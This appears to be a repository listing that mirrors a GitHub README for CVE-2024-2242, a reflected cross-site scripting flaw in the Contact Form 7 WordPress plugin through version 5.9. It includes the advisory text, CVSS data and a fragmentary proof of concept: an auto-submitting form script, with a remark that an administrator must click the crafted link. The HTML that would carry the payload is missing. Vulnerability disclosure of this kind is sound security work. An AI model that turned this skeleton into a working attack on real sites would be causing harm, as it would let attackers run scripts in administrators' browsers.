https://github.com/randomrobbiebf/cve-2024-2242

Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting
https://github.com/randomrobbiebf/cve-2024-2242

Last synced: about 1 month ago
JSON representation

Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting

• Host: GitHub
• URL: https://github.com/randomrobbiebf/cve-2024-2242
• Owner: RandomRobbieBF
• Created: 2024-11-15T07:32:31.000Z (about 1 month ago)
• Default Branch: main
• Last Pushed: 2024-11-15T07:34:50.000Z (about 1 month ago)
• Last Synced: 2024-11-15T08:27:36.232Z (about 1 month ago)
• Size: 0 Bytes
• Stars: 0
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# CVE-2024-2242

Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting

# Description

The Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘active-tab’ parameter in all versions up to, and including, 5.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

```

CVSS: 6.1

Impact: 2.7

Vector: network

User Interaction: required

Privileges Required: none

Published: 2024-03-13

Updated: 2024-03-13

```

POC

---

You need to know the post id value the form is on otherwise when the admin clicks the link it won't work.

Overall this should have priviliages required as H as you need admin to click the link.

```

  

    

      

      

      

      

    

    

      history.pushState('', '', '/');

      document.forms[0].submit();

    

  

```